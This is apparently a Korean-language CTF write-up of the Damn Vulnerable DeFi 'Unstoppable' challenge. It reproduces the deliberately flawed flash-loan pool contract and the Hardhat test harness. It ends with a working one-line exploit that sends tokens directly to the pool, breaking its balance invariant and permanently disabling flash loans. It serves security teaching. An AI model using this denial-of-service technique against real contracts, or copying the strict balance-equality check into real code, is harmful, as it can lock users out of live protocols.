There's a lending pool with a million DVT tokens in balance, offering flash loans for free.
If only there was a way to attack and stop the pool from offering flash loans ...
You start with 100 DVT tokens in balance.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../unstoppable/UnstoppableLender.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title ReceiverUnstoppable
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract ReceiverUnstoppable {
UnstoppableLender private immutable pool;
address private immutable owner;
constructor(address poolAddress) {
pool = UnstoppableLender(poolAddress);
owner = msg.sender;
}
// Pool will call this function during the flash loan
function receiveTokens(address tokenAddress, uint256 amount) external {
require(msg.sender == address(pool), "Sender must be pool");
// Return all tokens to the pool
require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
}
function executeFlashLoan(uint256 amount) external {
require(msg.sender == owner, "Only owner can execute flash loan");
pool.flashLoan(amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
interface IReceiver {
function receiveTokens(address tokenAddress, uint256 amount) external;
}
/**
* @title UnstoppableLender
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract UnstoppableLender is ReentrancyGuard {
IERC20 public immutable damnValuableToken;
uint256 public poolBalance;
constructor(address tokenAddress) {
require(tokenAddress != address(0), "Token address cannot be zero");
damnValuableToken = IERC20(tokenAddress);
}
function depositTokens(uint256 amount) external nonReentrant {
require(amount > 0, "Must deposit at least one token");
// Transfer token from sender. Sender must have first approved them.
damnValuableToken.transferFrom(msg.sender, address(this), amount);
poolBalance = poolBalance + amount;
}
function flashLoan(uint256 borrowAmount) external nonReentrant {
require(borrowAmount > 0, "Must borrow at least one token");
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
// Ensured by the protocol via the `depositTokens` function
assert(poolBalance == balanceBefore);
damnValuableToken.transfer(msg.sender, borrowAmount);
IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}
}
코드를 보면서 들었던 의문 몇 가지
// Pool will call this function during the flash loan
function receiveTokens(address tokenAddress, uint256 amount) external {
require(msg.sender == address(pool), "Sender must be pool");
// Return all tokens to the pool
require(IERC20(tokenAddress).transfer(msg.sender, amount), "Transfer of tokens failed");
}
transfer
문이 들어간 것은 처음 본다. 예전에는 이렇게도 썼었나? 아니면 현재에도 많이 쓰고 있나?transfer
는 boolean 대신 에러를 리턴한다. 따라서 보통 위와 같은 방식은 사용하지 않는다고 볼 수 있다.IReceiver(msg.sender).receiveTokens(address(damnValuableToken), borrowAmount);
msg.sender
를 IReceiver 타입으로 사용할 수 있게 하면서 interface에 정의된 함수를 사용할 수 있게 된다.이제 아래 파일에 빈 부분을 채워서 문제를 풀어나가면 된다. 테스트 형식으로 답안을 체크하며 Assertion라이브러리인 chai를 사용하고 있다.
const { ethers } = require('hardhat');
const { expect } = require('chai');
describe('[Challenge] Unstoppable', function () {
let deployer, attacker, someUser;
// Pool has 1M * 10**18 tokens
const TOKENS_IN_POOL = ethers.utils.parseEther('1000000');
const INITIAL_ATTACKER_TOKEN_BALANCE = ethers.utils.parseEther('100');
//test 전 실행
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, attacker, someUser] = await ethers.getSigners();
//토큰 민팅 및 컨트랙트 디플로이
const DamnValuableTokenFactory = await ethers.getContractFactory('DamnValuableToken', deployer);
const UnstoppableLenderFactory = await ethers.getContractFactory('UnstoppableLender', deployer);
this.token = await DamnValuableTokenFactory.deploy();
this.pool = await UnstoppableLenderFactory.deploy(this.token.address);
//pool에 토큰 전송
await this.token.approve(this.pool.address, TOKENS_IN_POOL);
await this.pool.depositTokens(TOKENS_IN_POOL);
await this.token.transfer(attacker.address, INITIAL_ATTACKER_TOKEN_BALANCE);
expect(
await this.token.balanceOf(this.pool.address)
).to.equal(TOKENS_IN_POOL);
expect(
await this.token.balanceOf(attacker.address)
).to.equal(INITIAL_ATTACKER_TOKEN_BALANCE);
// someUser가 flash loan 실행
const ReceiverContractFactory = await ethers.getContractFactory('ReceiverUnstoppable', someUser);
this.receiverContract = await ReceiverContractFactory.deploy(this.pool.address);
await this.receiverContract.executeFlashLoan(10);
});
// test 진행
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
});
// test 이후 실행
after(async function () {
/** SUCCESS CONDITIONS */
// It is no longer possible to execute flash loans
await expect(
this.receiverContract.executeFlashLoan(10)
).to.be.reverted;
});
});
someUser가 FlashLoan을 사용하지 못하게 하려면 Pool에 있는 token을 0으로 만들면 되지 않을까? 현재 flashloan()
함수는 누구나 호출 할 수 있다.
damnValuableToken.transfer(msg.sender, borrowAmount);
호출하면 토큰을 msg.sender에게 보내게 되어있기 때문에 attacker가 ReceiverUnstoppable
컨트랙트를 거치지 않고 직접 flashloan()
함수를 호출한다면 pool에 있는 토큰을 모두 가져올 수 있지 않을까?
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
await this.pool.connect(attacker);
await this.pool.flashLoan(1000000);
});
다음과 같은 에러가 났다. connect만 했을 때 에러가 안 나는 걸 봐서는 이 방법은 아닌 것 같다.
Error: Transaction reverted: function call to a non-contract account
단순히 flashLoan
함수가 제대로 안 돌아가게 하는 것에 초점을 맞추면 공격방법이 달라진다. 현재 poolBalance
는 depositTokens()
을 통해서만 총량이 늘어나게 되어있다. 이후 balanceBefore
를 통해서 컨트랙트의 총량과 일치하는지 확인한다.
assert(poolBalance == balanceBefore);
그런데 만약 일치하지 않다면? flashLoan
함수는 당연히 실행되지 않을 것이다. 그렇다면 어떻게 일치하지 않도록 할 수 있을까? 생각보다 답은 간단하다. depositTokens()
을 호출하지 않고 직접 컨트랙트에 토큰을 보내면 된다.
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token.transfer(this.pool, INITIAL_ATTACKER_TOKEN_BALANCE);
});
어마무시한 에러가 났다.
it("Exploit", async function () {
/** CODE YOUR EXPLOIT HERE */
await this.token.transfer(this.pool.address, INITIAL_ATTACKER_TOKEN_BALANCE);
});
pool의 주소를 제대로 넣어주니 테스트에 통과!